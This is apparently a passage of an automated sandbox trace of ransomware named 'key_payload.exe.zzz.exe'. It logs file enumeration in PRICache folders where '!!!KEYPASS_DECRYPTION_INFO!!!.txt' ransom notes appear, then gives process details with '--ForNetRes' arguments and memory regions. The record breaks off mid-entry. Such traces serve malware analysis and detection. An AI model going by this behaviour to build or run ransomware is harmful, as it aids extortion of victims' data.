[0317.362] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PRICache\\226732975\\2698495915.pri") returned=".pri" [0317.362] FindNextFileW (in: hFindFile=0x64fc7b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0317.363] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0317.363] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0317.363] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0317.364] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PRICache\\2570292521\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0317.364] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PRICache\\2570292521\\231755001.pri") returned=".pri" [0317.364] FindNextFileW (in: hFindFile=0x64fc6b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0317.365] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0317.365] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0317.365] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0317.366] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PRICache\\2577507833\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0317.366] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PRICache\\2577507833\\3967450640.pri") returned=".pri" [0317.366] FindNextFileW (in: hFindFile=0x64fc670, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0317.366] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0317.366] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0317.367] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0317.367] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PRICache\\2646675675\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0317.367] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PRICache\\2646675675\\806068533.pri") returned=".pri" [0317.367] FindNextFileW (in: hFindFile=0x64fc6f0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0317.368] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0317.368] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0317.368] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0317.374] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PRICache\\3053798886\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0317.374] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PRICache\\3053798886\\3825186184.pri") returned=".pri" [0317.374] FindNextFileW (in: hFindFile=0x64fc230, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0317.375] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0317.375] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0317.375] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0317.376] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PRICache\\3295484897\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0317.376] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PRICache\\3295484897\\2504515037.pri") returned=".pri" [0317.376] FindNextFileW (in: hFindFile=0x64fc3b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0317.377] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0317.377] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0317.377] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0317.378] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PRICache\\3375042201\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0317.378] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PRICache\\3375042201\\1858609885.pri") returned=".pri" [0317.378] FindNextFileW (in: hFindFile=0x64fc4f0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0317.379] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0317.379] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0317.379] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0317.380] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PRICache\\3530508098\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0317.380] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PRICache\\3530508098\\2495906576.pri") returned=".pri" [0317.380] FindNextFileW (in: hFindFile=0x64fc630, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0317.380] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0317.380] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0317.380] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0317.381] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PRICache\\3705566220\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0317.381] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PRICache\\3705566220\\624664733.pri") returned=".pri" [0317.381] FindNextFileW (in: hFindFile=0x64fc7f0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0317.381] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0317.381] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0317.381] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0317.382] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PRICache\\3779757838\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0317.382] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PRICache\\3779757838\\1034590242.pri") returned=".pri" [0317.382] FindNextFileW (in: hFindFile=0x64fc1b0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0317.383] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0317.383] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0317.383] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0317.384] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PRICache\\3782802250\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0317.384] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PRICache\\3782802250\\2924287686.pri") returned=".pri" [0317.384] FindNextFileW (in: hFindFile=0x64fc530, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0317.385] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0317.385] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0317.385] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0317.386] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PRICache\\860568095\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0317.386] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PRICache\\860568095\\965632691.pri") returned=".pri" [0317.386] FindNextFileW (in: hFindFile=0x64fc770, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0317.450] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0317.450] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0317.450] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0317.451] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db28, cchData=2 | out: lpLCData="0") returned 2 [0317.451] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db14, cchData=2 | out: lpLCData="0") returned 2 [0317.451] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db04, cchData=2 | out: lpLCData="0") returned 2 [0317.454] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0317.454] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0317.454] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0317.455] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db28, cchData=2 | out: lpLCData="0") returned 2 [0317.455] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db14, cchData=2 | out: lpLCData="0") returned 2 [0317.455] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db04, cchData=2 | out: lpLCData="0") returned 2 [0317.457] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0317.457] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0317.457] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0317.458] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db28, cchData=2 | out: lpLCData="0") returned 2 [0317.458] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db14, cchData=2 | out: lpLCData="0") returned 2 [0317.458] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db04, cchData=2 | out: lpLCData="0") returned 2 [0317.485] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0317.485] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0317.485] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0317.486] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db28, cchData=2 | out: lpLCData="0") returned 2 [0317.486] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db14, cchData=2 | out: lpLCData="0") returned 2 [0317.486] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db04, cchData=2 | out: lpLCData="0") returned 2 [0317.489] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0317.489] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0317.489] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0317.490] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db28, cchData=2 | out: lpLCData="0") returned 2 [0317.490] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db14, cchData=2 | out: lpLCData="0") returned 2 [0317.490] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db04, cchData=2 | out: lpLCData="0") returned 2 [0317.492] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0317.492] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0317.492] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0317.494] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db28, cchData=2 | out: lpLCData="0") returned 2 [0317.494] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db14, cchData=2 | out: lpLCData="0") returned 2 [0317.494] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db04, cchData=2 | out: lpLCData="0") returned 2 [0317.496] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0317.496] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0317.496] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0317.498] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db28, cchData=2 | out: lpLCData="0") returned 2 [0317.498] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db14, cchData=2 | out: lpLCData="0") returned 2 [0317.498] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db04, cchData=2 | out: lpLCData="0") returned 2 [0317.500] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0317.500] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0317.500] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0317.501] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db28, cchData=2 | out: lpLCData="0") returned 2 [0317.501] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db14, cchData=2 | out: lpLCData="0") returned 2 [0317.501] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db04, cchData=2 | out: lpLCData="0") returned 2 [0317.538] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0317.538] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0317.538] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0317.539] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db28, cchData=2 | out: lpLCData="0") returned 2 [0317.539] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db14, cchData=2 | out: lpLCData="0") returned 2 [0317.539] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db04, cchData=2 | out: lpLCData="0") returned 2 [0317.541] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0317.541] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0317.542] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0317.543] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db28, cchData=2 | out: lpLCData="0") returned 2 [0317.543] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db14, cchData=2 | out: lpLCData="0") returned 2 [0317.543] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db04, cchData=2 | out: lpLCData="0") returned 2 [0317.545] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0317.545] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0317.545] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0317.547] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db28, cchData=2 | out: lpLCData="0") returned 2 [0317.547] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db14, cchData=2 | out: lpLCData="0") returned 2 [0317.547] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db04, cchData=2 | out: lpLCData="0") returned 2 [0317.555] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0317.555] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0317.555] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0317.556] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db28, cchData=2 | out: lpLCData="0") returned 2 [0317.556] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db14, cchData=2 | out: lpLCData="0") returned 2 [0317.556] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db04, cchData=2 | out: lpLCData="0") returned 2 [0317.559] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0317.559] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0317.559] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0317.560] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db28, cchData=2 | out: lpLCData="0") returned 2 [0317.560] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db14, cchData=2 | out: lpLCData="0") returned 2 [0317.560] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db04, cchData=2 | out: lpLCData="0") returned 2 [0317.562] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0317.562] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0317.562] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0317.563] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db28, cchData=2 | out: lpLCData="0") returned 2 [0317.563] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db14, cchData=2 | out: lpLCData="0") returned 2 [0317.563] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db04, cchData=2 | out: lpLCData="0") returned 2 [0317.565] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0317.565] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0317.565] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0317.566] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db28, cchData=2 | out: lpLCData="0") returned 2 [0317.567] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db14, cchData=2 | out: lpLCData="0") returned 2 [0317.567] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db04, cchData=2 | out: lpLCData="0") returned 2 [0317.588] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0317.588] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0317.588] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0317.589] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db28, cchData=2 | out: lpLCData="0") returned 2 [0317.589] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db14, cchData=2 | out: lpLCData="0") returned 2 [0317.590] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db04, cchData=2 | out: lpLCData="0") returned 2 [0317.592] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0317.592] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0317.592] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 Process: id = "6" image_name = "key_payload.exe.zzz.exe" filename = "c:\\users\\ciihmnxmn6ps\\appdata\\local\\key_payload.exe.zzz.exe" page_root = "0x70af0000" os_pid = "0x268" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0xfc0" cmd_line = "\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe\" --ForNetRes x5I74v4h003xJ0iyhUfHQ8W6o0RDSicmSfg72KVA 6se9RaIxXF9m70zWmx7nL3bVRp691w4SNY8UCir0" cur_dir = "C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00013c81" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 634 start_va = 0xab0000 end_va = 0xacffff entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 635 start_va = 0xad0000 end_va = 0xad1fff entry_point = 0x0 region_type = private name = "private_0x0000000000ad0000" filename = "" Region: id = 636 start_va = 0xae0000 end_va = 0xaf3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ae0000" filename = "" Region: id = 637 start_va = 0xb00000 end_va = 0xb3ffff entry_point = 0x0 region_type = private name = "private_0x0000000000b00000" filename = "" Region: id = 638 start_va = 0xb40000 end_va = 0xc3ffff entry_point = 0x0 region_type = private name = "private_0x0000000000b40000" filename = "" Region: id = 639 start_va = 0xc40000 end_va = 0xc43fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c40000" filename = "" Region: id = 640 start_va = 0xc50000 end_va = 0xc52fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c50000" filename = "" Region: id = 641 start_va = 0xc60000 end_va = 0xc61fff entry_point = 0x0 region_type = private name = "private_0x0000000000c60000" filename = "" Region: id = 642 start_va = 0x1110000 end_va = 0x13eefff entry_point = 0x1110000 region_type = mapped_file name = "key_payload.exe.zzz.exe" filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\key_payload.exe.zzz.exe") Region: id = 643 start_va = 0x77990000 end_va = 0x77b08fff entry_point = 0x77990000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 644 start_va = 0x7efd0000 end_va = 0x7eff2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efd0000" filename = "" Region: id = 645 start_va = 0x7eff6000 end_va = 0x7eff6fff entry_point = 0x0 region_type = private name = "private_0x000000007eff6000" filename = "" Region: id = 646 start_va = 0x7effb000 end_va = 0x7effdfff entry_point = 0x0 region_type = private name = "private_0x000000007effb000" filename = "" Region: id = 647 start_va = 0x7effe000 end_va = 0x7effefff entry_point = 